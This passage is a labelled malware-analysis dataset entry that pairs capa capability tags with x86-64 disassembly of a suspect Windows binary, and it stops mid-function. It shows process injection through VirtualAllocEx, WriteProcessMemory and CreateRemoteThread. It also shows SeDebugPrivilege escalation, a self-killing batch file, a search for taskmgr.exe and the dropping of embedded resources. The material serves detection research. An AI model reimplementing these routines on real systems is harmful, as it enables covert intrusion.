joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014230
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1360
call fcn.140007d80
sub rsp, rax
xor edi, edi
lea rcx, [rsp + 0x362]
xor edx, edx
mov r8d, 0xffe
mov dword [rsp + 0x1370], edi
mov word [rsp + 0x360], di
call fcn.1400033f0
lea rcx, [rsp + 0x152]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x150], di
call fcn.1400033f0
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], dil
call fcn.1400033f0
lea rdx, [rsp + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [rsp + 0x150]
lea rdx, str._si0000001.cmd
lea rcx, [rsp + 0x360]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, str._echo_off_ntaskkill__F__PID__d__T
lea rcx, [rsp + 0x40]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x360]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400143ac
lea rcx, [rsp + 0x40]
cmp byte [rsp + 0x40], dil
je 0x140014338
inc rcx
cmp byte [rcx], dil
jne 0x140014330
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x1370]
lea rdx, [rsp + 0x40]
sub ecx, eax
mov qword [rsp + 0x20], rdi
mov r8d, ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x360]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea r8, [rsp + 0x360]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea r8, [rsp + 0x360]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, qword [rsp + 0x1378]
xor eax, eax
add rsp, 0x1360
pop rdi
ret
Function at 0x140014510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
mov rsi, rcx
mov rbx, rcx
cmp dword [rbx + 0x50], edi
jne 0x140014537
mov edx, dword [rbx + 0x4c]
mov rcx, rsi
call fcn.140014510
mov eax, dword [rbx]
test eax, eax
je 0x140014542
add rbx, rax
jmp 0x140014527
xor edx, edx
mov r8d, edi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400145a1
xor esi, esi
or edx, 0xffffffff
mov rcx, rax
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140014574
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
sete sil
test esi, esi
je 0x1400145a1
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x1400145c0
Capabilities:
Terminate process

Disassembly:
push rsi
sub rsp, 0x20
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x1400145e2
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
xor edi, edi
or edx, 0xffffffff
mov rcx, rax
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140014608
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
mov rbx, qword [rsp + 0x30]
sete dil
mov eax, edi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
Function at 0x140014640
Capabilities:
Get common file path
Get file version info

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x450
lea rcx, [rsp + 0x32]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], si
call fcn.1400033f0
lea rcx, [rsp + 0x242]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], si
call fcn.1400033f0
call fcn.140015930
cmp eax, 2
jne 0x140014692
lea edx, [rsi + 0x26]
jmp 0x14001469f
add eax, 0xfffffffc
cmp eax, 8
ja 0x1400146b7
mov edx, 0x2a
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x30]
lea rdx, str._sGoogleChromeApplicationchrome.exe
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x240]
xor edx, edx
mov qword [rsp + 0x468], rsi
mov dword [rsp + 0x460], esi
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test eax, eax
jne 0x140014709
mov eax, esi
mov rsi, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
ret
mov qword [rsp + 0x470], rbx
test eax, eax
jne 0x14001471a
mov rbx, rsi
jmp 0x140014735
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [rdi + 8]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
lea rcx, [rsp + 0x240]
mov r9, rbx
mov r8d, edi
xor edx, edx
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x140014773
lea r9, [rsp + 0x460]
lea r8, [rsp + 0x468]
lea rdx, [0x14001d67c]
mov rcx, rbx
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x14001478b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x140014797
mov rax, qword [rsp + 0x468]
movzx eax, byte [rax + 0xa]
mov rbx, qword [rsp + 0x470]
mov rsi, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
ret
Function at 0x1400147c0
Capabilities:
Get common file path
Get file version info
Get program files directory

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x450
lea rcx, [rsp + 0x242]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], si
call fcn.1400033f0
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], si
call fcn.1400033f0
call fcn.140015930
lea rax, [rsp + 0x240]
lea edx, [rsi + 0x26]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x240]
lea rdx, [0x14001d680]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x468], rsi
mov dword [rsp + 0x460], esi
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test eax, eax
jne 0x140014875
mov eax, esi
mov rsi, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
ret
mov qword [rsp + 0x470], rbx
test eax, eax
jne 0x140014886
mov rbx, rsi
jmp 0x1400148a1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [rdi + 8]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
lea rcx, [rsp + 0x30]
mov r9, rbx
mov r8d, edi
xor edx, edx
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x1400148dc
lea r9, [rsp + 0x460]
lea r8, [rsp + 0x468]
lea rdx, [0x14001d67c]
mov rcx, rbx
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x1400148f4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x140014900
mov rax, qword [rsp + 0x468]
movzx eax, byte [rax + 0xa]
mov rbx, qword [rsp + 0x470]
mov rsi, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
ret

Function at 0x1400149e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x40
mov rbp, rdx
mov r8d, ecx
xor edx, edx
mov ecx, 0x47a
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140014a87
xor ecx, ecx
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
mov rdx, rax
mov rsi, rax
call fcn.140014b40
test rax, rax
je 0x140014a79
sub rax, rsi
mov qword [rsp + 0x30], rbx
xor r8d, r8d
lea r9, [rax + rbp]
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140014a64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x140014a79
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140014aa0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
lea edx, [rbx + 0x28]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140014b25
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x34]
lea rdx, str.SeDebugPrivilege
mov edi, 1
xor ecx, ecx
mov dword [rsp + 0x3c], 2
mov dword [rsp + 0x30], edi
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140014b15
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x30]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
cmovne ebx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x58]
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x140014b40
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x30
movsxd rbx, dword [rdx + 0x3c]
xor ebp, ebp
mov rdi, rdx
add rbx, rdx
mov r12, rcx
cmp dword [rbx], 0x4550
je 0x140014b74
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r12
pop rdi
pop rbp
ret
mov qword [rsp + 0x58], r14
mov r14d, dword [rbx + 0x50]
mov rcx, rdi
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x140014b94
xor eax, eax
jmp 0x140014cd4
mov r9d, 0x3000
mov r8, r14
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140014ccc
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140014caf
xor edx, edx
test r14, r14
je 0x140014c00
movzx ecx, byte [rdx + rdi]
inc rdx
mov byte [rdx + rax - 1], cl
cmp rdx, r14
jb 0x140014bf0
cmp dword [rbx + 0xb4], ebp
jbe 0x140014c9a
mov ecx, dword [rbx + 0xb0]
test ecx, ecx
je 0x140014c9a
sub rdi, qword [rbx + 0x30]
lea r10, [rax + rcx]
mov r11, r15
sub r11, qword [rbx + 0x30]
cmp dword [r10], ebp
je 0x140014c81
nop
mov eax, dword [r10 + 4]
cmp eax, 8
jb 0x140014c75
sub rax, 8
lea rdx, [r10 + 8]
shr rax, 1
test eax, eax
je 0x140014c75
mov r8d, eax
nop dword [rax + rax]
movzx eax, word [rdx]
test ax, ax
je 0x140014c6c
and eax, 0xfff
add eax, dword [r10]
mov ecx, eax
mov rax, r11
sub rax, rdi
add qword [rcx + rsi], rax
add rdx, 2
dec r8
jne 0x140014c50
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], ebp
jne 0x140014c30
mov r9, r14
mov r8, rsi
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebp, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebp, ebp
jne 0x140014cc7
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor r15d, r15d
mov rsi, qword [rsp + 0x50]
mov rax, r15
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r12
pop rdi
pop rbp
ret
Function at 0x140014cf0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x260
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140014db8
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140014daf
lea rcx, str.taskmgr.exe
call fcn.140016e90
lea r9, str.taskmgr.exe
lea r8, [rsp + 0x4c]
mov r10, rax
test rax, rax
je 0x140014dab
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8]
lea r8, [r8 + 2]
lea ecx, [rax - 0x41]
cmp ecx, 0x19
ja 0x140014d73
add eax, 0x20
movzx edx, word [r9]
add r9, 2
lea ecx, [rdx - 0x41]
cmp ecx, 0x19
ja 0x140014d86
add edx, 0x20
dec r10
je 0x140014d93
test eax, eax
je 0x140014d93
cmp eax, edx
je 0x140014d60
sub eax, edx
je 0x140014dab
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140014d31
jmp 0x140014daf
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret

Function at 0x140014de0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xe0
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.1400033f0
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov eax, 0x68
mov qword [rsp + 0x50], rcx
dec rax
mov byte [rsp + rax + 0x70], cl
jne 0x140014e14
mov dword [rsp + 0x70], 0x68
mov eax, 0x18
nop word [rax + rax]
dec rax
mov byte [rsp + rax + 0x50], cl
jne 0x140014e30
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov rdx, rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140014e7f
add rsp, 0xe0
pop rbx
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0xe0
pop rbx
ret
Function at 0x140014f30
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov r14d, r8d
mov rcx, rdx
xor esi, esi
mov qword [rsp + 0x30], rsi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140015097
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x70], rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
test eax, eax
jne 0x140014fa7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x70]
xor eax, eax
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x68], rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x60]
mov r8d, ebp
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140015002
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140015079
lea rcx, [0x140046860]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov rsi, rax
test rax, rax
jne 0x140015038
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001508d
mov r9d, 0x409
movzx r8d, r14w
mov edx, 0xa
mov rcx, rax
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
je 0x140014fe3
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov rcx, rdi
test eax, eax
je 0x140014ffa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14001508d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
xor eax, eax
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x1400150b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x40
mov ebx, ecx
xor ecx, ecx
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movzx edx, bx
mov r8d, 0xa
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x1400150fb
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400150e9
mov rcx, rax
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400151c6
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x1400151c6
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
lea r8d, [r9 + 3]
mov rcx, rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400151bc
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x50]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400151c8
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x1400151f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x40
xor ecx, ecx
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x19a
mov r8d, 0xa
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x14001523f
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14001522d
mov rcx, rax
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x14001530a
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x14001530a
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
lea r8d, [r9 + 3]
mov rcx, rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015300
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x50]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14001530c
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x140015330
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x640
lea rcx, [rsp + 0x42]
xor ebx, ebx
xor edx, edx
mov r8d, 0x1fa
mov word [rsp + 0x40], bx
call fcn.1400033f0
lea rcx, [rsp + 0x242]
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x240], bx
call fcn.1400033f0
lea rax, [rsp + 0x40]
lea edx, [rbx + 0x23]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x40]
lea rdx, str._s_000001.dat
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x240]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400153f0
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x640
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x640
pop rbx
ret
Function at 0x140015410
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x640
mov rdi, rcx
lea rcx, [rsp + 0x42]
xor esi, esi
xor edx, edx
mov r8d, 0x1fa
mov word [rsp + 0x40], si
call fcn.1400033f0
lea rcx, [rsp + 0x242]
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x240], si
call fcn.1400033f0
lea rax, [rsp + 0x40]
lea edx, [rsi + 0x23]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x658], esi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0x40]
lea rdx, str._s_000001.dat
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
lea rcx, [rsp + 0x240]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400154e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
or rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140015517
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r9, [rsp + 0x658]
mov rdx, rdi
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140015540
Capabilities:
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x6c0
lea rcx, [rsp + 0xc2]
xor edi, edi
xor edx, edx
mov r8d, 0x1fa
mov word [rsp + 0xc0], di
call fcn.1400033f0
lea rcx, [rsp + 0x2c2]
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x2c0], di
call fcn.1400033f0
lea r8d, [rdi + 0x7f]
lea rcx, [rsp + 0x41]
xor edx, edx
mov byte [rsp + 0x40], dil
call fcn.1400033f0
lea rax, [rsp + 0xc0]
lea edx, [rdi + 0x23]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x6d0], edi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rsp + 0xc0]
lea rdx, str._s_000001.dat
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
lea rcx, [rsp + 0x2c0]
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14001563a
call qword [sym.imp.KERNEL32.dll_GetLastError]
or rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6c0
pop rdi
ret
call fcn.1400156c0
lea rdx, str._08X
lea rcx, [rsp + 0x40]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x40]
cmp byte [rsp + 0x40], dil
je 0x140015668
inc rax
cmp byte [rax], dil
jne 0x140015660
lea rcx, [rsp + 0x40]
